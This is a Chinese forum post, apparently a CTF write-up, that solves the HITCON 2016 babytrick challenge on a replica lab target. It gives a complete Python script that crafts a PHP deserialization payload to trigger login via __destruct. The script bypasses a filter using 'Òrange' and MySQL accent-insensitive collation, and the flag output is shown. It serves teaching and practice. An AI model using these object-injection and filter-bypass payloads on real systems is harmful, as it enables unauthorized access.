找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

6153

积分

0

好友

777

主题
发表于 昨天 16:17 | 查看: 9| 回复: 0

HITCON 2016 babytrick 是一道经典的 PHP 反序列化 题目,核心考点在于对象属性控制与 MySQL 字符比较差异。本文从源码审计开始,逐步完成序列化 payload 构造、过滤绕过与最终 flag 获取。

1. 题目概述

目标地址:

http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/

题目是 HITCON 2016 babytrick 的复现靶场,核心考点:

PHP 反序列化控制对象属性
__destruct() 自动调用
MySQL UTF-8 排序规则字符等价
PHP 字符串检测与 MySQL 字符比较差异

最终 flag:

flag{443a0802-d43d-459e-a419-130b9a80f93b}

2. 访问源码

首页直接高亮源码:

curl "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/"

关键入口:

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);
} else {
   new HITCON("source", array());
}

也就是说,data 参数会被直接反序列化。

3. HITCON 类逻辑分析

类里有 3 个 private 属性:

private $method;
private $args;
private $conn;

析构函数:

function __destruct() {
    $this->__conn();

if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
    } else {
        $this->__die("What do you do?");
    }

    $this->__close();
}

利用思路,构造一个 HITCON 对象,让:

method = login
args[0] = 用户名
args[1] = 密码
conn = NULL

对象生命周期结束时会自动触发 __destruct(),进而调用:

$this->login($args[0], $args[1]);

4. private 属性序列化格式

PHP 序列化 private 属性时,属性名不是普通字符串,而是:

\x00类名\x00属性名

所以:

private $method;

序列化属性名应为:

\x00HITCON\x00method

完整字段写法:

s:14:"\x00HITCON\x00method";

长度为什么是 14?

\x00       1 byte
HITCON     6 bytes
\x00       1 byte
method     6 bytes
------------------
total      14 bytes

同理:

\x00HITCON\x00args  -> 12 bytes
\x00HITCON\x00conn  -> 12 bytes

5. 初始化数据库

题目原始配置中 DEBUG 开关为:

$DEBUG = @$_GET['noggnogg'];

当带上:

?noggnogg=1

会执行建表和插入测试数据:

INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')

初始化命令:

curl "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/?noggnogg=1"

6. 写一个序列化构造器

保存为:

solve_babytrick_min.py

内容:

import urllib.parse
import urllib.request

TARGET = "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/"
Z = b"\x00"

def ser_str(x):
    b = x if isinstance(x, bytes) else str(x).encode("utf-8")
return b's:%d:"%s";' % (len(b), b)

def ser_arr(args):
    out = b'a:%d:{' % len(args)
for i, arg in enumerate(args):
        out += b'i:%d;' % i
        out += ser_str(arg)
    out += b'}'
return out

def hitcon(method, args):
    method_b = method.encode()

    payload = (
b'O:6:"HITCON":3:{'
b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
b'}'
    )

return payload

def request(payload=None, extra_query=None):
if payload is None:
        url = TARGET
if extra_query:
            url += "?" + extra_query
else:
        data = urllib.parse.quote_from_bytes(payload, safe="")
if extra_query:
            url = TARGET + "?" + extra_query + "&data=" + data
else:
            url = TARGET + "?data=" + data

return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")

# 初始化数据库
request(extra_query="noggnogg=1")

# 验证 show
print(request(hitcon("show", ["phddaa"])))
print(request(hitcon("show", ["orange"])))

运行:

$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py

预期输出:

{"msg":"phddaa is user"}
{"msg":"orange is admin"}

说明数据库初始化成功。

7. login 过滤逻辑

login() 里有关键过滤:

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

直接登录:

username = orange
password = babytrick1234

会被拦截,因为 SQL 中一定包含:

username='orange'

触发:

stripos($sql, 'orange') != false

8. 绕过思路:PHP 与 MySQL 字符比较差异

使用:

Òrange

替代:

orange

原因:

PHP 层
PHP 的:stripos($sql, 'orange') 不会把:Òrange 识别成:orange
所以不会触发过滤。

MySQL 层
MySQL 的 UTF-8 默认排序规则通常是大小写不敏感、重音不敏感的比较规则。

所以:

username='Òrange'

可以匹配数据库里的:

orange

这就是本题的关键。

9. 验证字符等价

添加测试代码:

for name in ["orange", "Òrange", "Órange", "Örange"]:
print(name, request(hitcon("show", [name])))

运行结果中可以看到:

orange  -> orange is admin
Òrange  -> orange is admin

说明 Òrange 在 MySQL 查询中成功匹配了 orange

10. 获取密码

原题公开配置中:

$db_pass = 'babytrick1234';

数据库初始化时插入:

('orange', '$db_pass', 'admin')

所以 admin 用户密码为:

babytrick1234

11. 构造最终 payload

登录参数:

method = login
args[0] = Òrange
args[1] = babytrick1234
conn = NULL

未 URL 编码前的 payload 结构:

O:6:"HITCON":3:{
  s:14:"\x00HITCON\x00method";s:5:"login";
  s:12:"\x00HITCON\x00args";a:2:{
i:0;s:7:"Òrange";
i:1;s:13:"babytrick1234";
  }
  s:12:"\x00HITCON\x00conn";N;
}

注意:

Òrange

UTF-8 字节长度是 7,不是 6。

12. 最终可复现脚本

import urllib.parse
import urllib.request

TARGET = "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/"
Z = b"\x00"

def ser_str(x):
    b = x if isinstance(x, bytes) else str(x).encode("utf-8")
return b's:%d:"%s";' % (len(b), b)

def ser_arr(args):
    out = b'a:%d:{' % len(args)

for i, arg in enumerate(args):
        out += b'i:%d;' % i
        out += ser_str(arg)

    out += b'}'
return out

def hitcon(method, args):
    method_b = method.encode()

    payload = (
b'O:6:"HITCON":3:{'
b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
b'}'
    )

return payload

def request(payload=None, extra_query=None):
if payload is None:
        url = TARGET
if extra_query:
            url += "?" + extra_query
else:
        data = urllib.parse.quote_from_bytes(payload, safe="")
if extra_query:
            url = TARGET + "?" + extra_query + "&data=" + data
else:
            url = TARGET + "?data=" + data

return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")

# 1. 初始化数据库
request(extra_query="noggnogg=1")

# 2. 验证普通用户
print("[show phddaa]")
print(request(hitcon("show", ["phddaa"])))

# 3. 验证 admin 用户存在
print("[show orange]")
print(request(hitcon("show", ["orange"])))

# 4. 使用 Òrange 绕过 PHP orange 检测
print("[show Òrange]")
print(request(hitcon("show", ["Òrange"])))

# 5. 最终登录拿 flag
print("[login]")
print(request(hitcon("login", ["Òrange", "babytrick1234"])))

运行:

$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py

输出:

[show phddaa]
{"msg":"phddaa is user"}

[show orange]
{"msg":"orange is admin"}

[show Òrange]
{"msg":"orange is admin"}

[login]
{"msg":"Hi, Orange! Here is your flag: flag{443a0802-d43d-459e-a419-130b9a80f93b}"}

13. 解题链总结

完整链路:

源码泄露
  ↓
发现 data 参数 unserialize()
  ↓
构造 HITCON 对象
  ↓
控制 private 属性 method/ args / conn
  ↓
通过 __destruct() 调用 login()
  ↓
DEBUG 参数 noggnogg 初始化数据库
  ↓
确认 orange 是 admin
  ↓
利用 Òrange 绕过 PHP stripos('orange')
  ↓
MySQL UTF-8 排序规则把 Òrange 匹配到 orange
  ↓
使用 babytrick1234 登录
  ↓
获得 flag

最终:

flag{443a0802-d43d-459e-a419-130b9a80f93b}

如果你对这类 CTF 解题思路或其他安全技术感兴趣,欢迎访问 云栈社区 参与讨论。




上一篇:htmx 4.0 发布:49K Star 项目,这次简化升级维护
下一篇:Chrome恶意扩展PEEP伪装智能书签:从Cookie窃取到主机后门的完整攻击链
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-9-10 16:01 , Processed in 1.298580 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表